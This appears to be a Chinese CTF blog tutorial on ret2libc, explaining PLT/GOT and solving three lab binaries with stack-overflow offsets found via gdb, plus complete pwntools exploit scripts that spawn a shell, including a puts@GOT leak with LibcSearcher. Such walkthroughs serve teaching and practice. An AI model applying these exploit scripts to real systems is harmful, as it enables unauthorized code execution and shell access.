pwn基本ROP——ret2libc

环境

retlibc1

ret2libc2

ret2libc3

PLT表和GOT表

在进行ret2libc学习之前,我们需要先了解一下PLT表与GOT表的内容。

Globle offset table(GOT)全局偏移量表,位于数据段,是一个每个条目是8字节地址的数组,用来存储外部函数在内存的确切地址

Procedure linkage table(PLT)过程连接表,位于代码段,是一个每个条目是16字节内容的数组,使得代码能够方便的访问共享的函数或者变量

关于GOT与PLT的详细内容可以看这个视频学习,这里只进行简要介绍

简单来说,当程序第一次执行函数A时,流程如下:
请添加图片描述
在汇编程序调用函数A时,会先找到函数A对应的PLT表,PLT表中第一行指令则是找到函数A对应的GOT表。此时由于是程序第一次调用A,GOT表还未更新,会先去公共PLT进行一番操作查找函数A的位置,找到A的位置后再更新A的GOT表,并调用函数A。

当程序第二次执行函数A时,流程如下请添加图片描述
可以看到此时A的GOT表已经更新,可以直接在GOT表中找到其在内存中的位置并直接调用。

ret2libc1

原理

利用程序自带的system函数和/bin/sh字符串构造system("/bin/sh")函数,通过主函数gets函数溢出覆盖返回值来返回到system函数地址,从而执行上述函数获得最高权限。

漏洞分析

使用checksec查看保护措施

checksec ret2libc1

在这里插入图片描述
可以看到是32位程序,且仅开启了堆栈不可执行

使用IDA32位进行调试

主函数反汇编结果如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(s);
  return 0;
}

在这里我们发现了gets危险函数,gets不对输入数据的边界作限制,故可利用这个函数造成溢出覆盖返回值来执行我们想要执行的函数

观测左边函数一栏,我们可以发现存在_system函数,其plt地址为0x08048460
在这里插入图片描述

再利用Shift + F12组合键查看字符串,我们可以看到/bin/sh字符串,其地址为0x08048720
在这里插入图片描述
我们就可以利用上述两个信息来构造一套组合拳,通过main函数的return返回到system函数的plt地址来执行该函数,并传入/bin/sh字符串的地址,具体可见payload

获取偏移量

利用gdb进行随机字符填充,覆盖返回值,然后根据返回值的覆盖情况来获取return偏移量。

gdb ret2libc1
cyclic 200
r

在这里插入图片描述
可以看到Invalid address 0x62616164,我们再利用cyclic查看一下这四个字符在随机字符中的位置
在这里插入图片描述
可以看到是在112位,所以return偏移量为112

payload

from pwn import *
 
io = process('./ret2libc1')

sys_plt = p32(0x08048460)
bin_sh = p32(0x08048720)

payload = bytes('a' * 112,'utf-8') + sys_plt + bytes('bbbb','utf-8') + bin_sh

io.sendline(payload)

io.interactive()
地址栈中数据
ebp ~ ebp - 0x64a
main函数returnsys_plt
system函数returnbbbb
system函数参数“/bin/sh”

ret2libc2

原理

这个版本与上个版本的区别就是/bin/sh字段不再出现在程序中,我们只能自行构造/bin/sh
这里可以通过gets函数将/bin/sh输入到.bss段,然后再像ret2libc1一样的操作执行system函数

漏洞分析

checksec

在这里插入图片描述
可以看到是32位程序,仅开启了NX堆栈不可执行

使用IDA进行调试

主函数反汇编结果如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(v4);
  return 0;
}

可以看到这里存在与ret2libc1一样的漏洞,可以利用gets来覆盖返回值

我们依旧可以在左边的函数栏找到_system,找到system的plt地址为08048490

再次利用shift + F12查找字符串,并没有发现/bin/sh

但我们发现左边plt段有_gets,所以可以利用gets函数,将全局变量的某个数组作为gets函数的参数,从而输入/bin/sh来自造该字符串

进入.bss段,发现了buf2数组
在这里插入图片描述
利用gdb调试看看这里该地址可以写入
在这里插入图片描述
可以看到,buf2数组在0x804a000~0x804b000段,该段有写入权限

所以我们可以将buf2作为gets函数的参数传入,读入/bin/sh来自造数据,从而执行system函数

payload

from pwn import *
 
io = process('./ret2libc2')

gets_plt = p32(0x08048460)
sys_plt = p32(0x08048490)
buf2_addr = p32(0x0804A080)

payload = bytes('a' * 112,'utf-8') + gets_plt + sys_plt + buf2_addr + buf2_addr

io.sendline(payload)
io.sendline('/bin/sh')

io.interactive()

地址栈中数据
ebp~ebp-0x64a
main函数returngets_plt
gets函数returnsys_plt
gets函数参数&&system函数returnbuf2_addr
system函数参数buf2_addr

ret2libc3

原理

在这道题中,system函数的plt地址也没了,我们必须将system函数和/bin/sh都构造出来才可以获取最高权限。

在程序每次运行时libc函数库的位置都不一样,但libc中的函数的相对位置是不会改变的,所以我们只需要找到一个函数的地址,再找到我们想要的函数的偏移量,就可以找到我们想要执行的函数的地址

但这里的偏移量该怎么查找呢?
这里我们要用到一个工具:libcsearcher
该工具用法如下

from LibcSearcher import *

#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)

obj.dump("system")        #system 偏移
obj.dump("str_bin_sh")    #/bin/sh 偏移
obj.dump("__libc_start_main_ret")    

漏洞分析

checksec

在这里插入图片描述
可以看到该程序是32位的,且仅开启了NX堆栈不可执行

使用IDA调试

main函数反汇编结果如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(s);
  return 0;
}

我们依旧可以通过gets函数来修改返回地址,执行想要执行的函数,具体见payload

payload

from pwn import *
from LibcSearcher import *
 
io = process('./ret2libc3')
elf = ELF('./ret2libc3')

puts_plt = p32(elf.plt['puts'])
puts_got = p32(elf.got['puts'])
start_addr = p32(elf.symbols['_start'])
payload = bytes('a' * 112,'utf-8') + puts_plt + start_addr + puts_got
io.sendlineafter("Can you find it !?",payload)
puts_addr = u32(io.recv(4))
print('aa')

libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump("puts")
sys_addr = libcbase + libc.dump("system")
bin_sh_addr = libcbase + libc.dump("str_bin_sh")
payload2 = bytes('a' * 112,'utf-8') + p32(sys_addr) + bytes('b' * 4,'utf-8') + p32(bin_sh_addr)

io.sendlineafter("Can you find it !?",payload2)

io.interactive()

关于ELF的教学可以在这里进行学习

payload1:

地址栈中数据
ebp ~ ebp-0x64a
main函数returnputs_plt
puts函数returnstart_addr
puts函数参数puts_got

这样构造即可输出puts_got,且puts函数返回到_start,即整个程序开始的地方,程序重新运行,我们可以再次输入数据来执行想要的命令,如下

payload2:

地址栈中数据
ebp~ebp-0x64a
main函数returnsys_addr
system函数returnbbbb
system函数参数/bin/sh

这里我们利用puts函数的地址找到了libc的位置,利用puts函数的地址和libc中的puts函数的偏移量找到libc的基址,从而以这个基址加上libcsystem/bin/sh的偏移量找到这两个函数(字符串)的地址,再通过gets函数修改返回值来执行system函数获取权限

  • 10
    点赞
  • 42
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值